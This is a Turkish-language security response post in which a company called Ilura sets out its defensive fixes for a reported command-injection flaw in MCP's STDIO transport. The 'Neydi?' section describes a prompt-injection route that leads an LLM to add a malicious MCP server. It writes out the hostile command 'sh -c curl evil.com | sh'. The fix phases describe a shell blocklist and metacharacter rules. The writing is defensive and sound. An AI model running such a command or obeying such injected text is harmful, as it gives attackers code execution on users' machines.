güvenlik yanıtı · 18 nisan 2026
Anthropic MCP'de bulunan "RCE by design" açığına Ilura'nın yanıtı
16 Nisan 2026'da Ox Security, Model Context Protocol'ün STDIO transport'unda mimari bir command injection açığı yayınladı. Anthropic bunu "by design" olarak kabul etti ve protokol seviyesinde yama vermeyeceğini açıkladı. Ilura 48 saat içinde dört fazlı uygulama-katmanı yanıtı kurdu. Hiçbir üretim kullanıcısı etkilenmedi (Ilura şu an pre-revenue).
Neydi?
MCP SDK'ları (rmcp, python-mcp, typescript-sdk — 10 resmi SDK) kullanıcıdan
gelen "command" ve "args" stringlerini doğrulama olmadan
Command::new(command).args(args) çağrısına iletiyordu.
Prompt injection yoluyla LLM'e "şu MCP server'ı ekle" dedirmek →
malicious command: "sh" + args: ["-c", "curl evil.com | sh"] →
kullanıcı onayladıysa anında RCE.
Ox Security 150 milyon indirme, 7,000+ server, 200,000+ savunmasız instance
etkisi hesapladı. 30+ RCE bulgusu, 10+ CVE (ör. Windsurf CVE-2026-30615).
Ilura zaten ne yapıyordu?
- Approval Bridge — her high/critical risk onay istiyordu.
- PolicyEngine — dosya yolu + pod allowlist + API whitelist.
- Cryptographic Audit Chain — SHA-256 + ECDSA her eyleme.
Ama MCP client tarafında spawn_connection fonksiyonu
command + args'ı validate etmeden subprocess açıyordu.
Approval bridge kullanıcıyı "external agent eklensin mi?" diye sorsa bile,
kullanıcı evet derse command doğrudan shell'e gidiyordu.
Dört fazlı yanıt (48 saat)
Faz 0 — Aynı gün (2 saat)
Inline command blocklist: 22 shell/interpreter + 5 eval flag. Yeni hata kodları ILURA-MCP-010, ILURA-MCP-011. 6 unit test; cargo test 834 → 840.
Faz 1 — Aynı gün (3 saat)
Merkezi mcp/spawn_validator.rs modülü:
mutlak yol zorunlu, null byte reddi, 9 shell metacharacter (;,
|, $, `, vb.), command substitution
($(…), ${…}), cross-platform path separator
(/ ve \), case-insensitive binary match.
Approval Bridge risk seviyesi external agent spawn için
Medium → Critical yükseltildi. Kullanıcı onayı
artık biometrik gerektiriyor.
tests/mcp_stdio_injection_resistance.rs — 31 integration test.
Ox Security bypass kataloğunun tamamını kapsıyor.
Faz 2-A + 2-A+ — Aynı gün (4 saat)
SHA-256 binary hash allowlist (Advisory/Enforce modları).
Her external agent spawn audit chain'e yazılıyor
(action="external_agent_spawn", risk=CRITICAL).
macOS Seatbelt sandbox wrapper — sandbox-exec
ile subprocess izolasyonu. Default deny + ro-bind + tmpfs write only.
AppState plumbing + Settings UI toggle + hot-reload.
Faz 2-B-1 — Aynı gün (2 saat)
Linux bubblewrap (bwrap) wrapper — user namespace, capability drop, mount isolation. Windows placeholder (Faz 2-C'de AppContainer + Job Object).
Anthropic'in pozisyonu
"The STDIO execution model represents a secure default and sanitization is the developer's responsibility." — Anthropic, Ox Security raporunda alıntılanan
Bu tutumla Ilura'nın uygulama-katmanı savunması tek seçenek haline geldi. Biz bunu zaten zero-trust mimarimizin doğal uzantısı olarak kabul ediyoruz: protokol "developer responsibility" diyorsa, Ilura o developer'dır.
Kullanıcıya etkisi
- Mevcut kullanıcı: yok (pre-revenue).
- Geliştirici dev builds: Ilura MCP client'ı kullanan dev env'lerde external agent spawn otomatik korundu (validator Faz 0'da aktif).
- Enterprise pilot: Faz 1 tamamlanana kadar duraklatıldı; Faz 2-A+ sonrası gerçek dogfood testleri bitince tekrar açılacak.
Yol haritası
- Faz 2-B-2 — gerçek Linux ve Windows VM'de integration test.
- Faz 2-C — Windows AppContainer + Job Object, subprocess network egress allowlist.
- Production release —
BUILT_IN_BINARIESlistesi resmi Ilura MCP server imzalarıyla doldurulur. - CI matrix — GitHub Actions'ta macos + ubuntu + windows dogfood runner.
Kaynak kod referansları
src-tauri/src/mcp/spawn_validator.rs— Faz 1 validatorsrc-tauri/src/mcp/binary_allowlist.rs— Faz 2-A hash checksrc-tauri/src/execution/mcp_subprocess_macos.rs— Seatbeltsrc-tauri/src/execution/mcp_subprocess_linux.rs— bubblewrapsrc-tauri/tests/mcp_stdio_injection_resistance.rs— 31 bypass testdocs/rmcp-stdio-injection-response-plan.md— tam eylem planı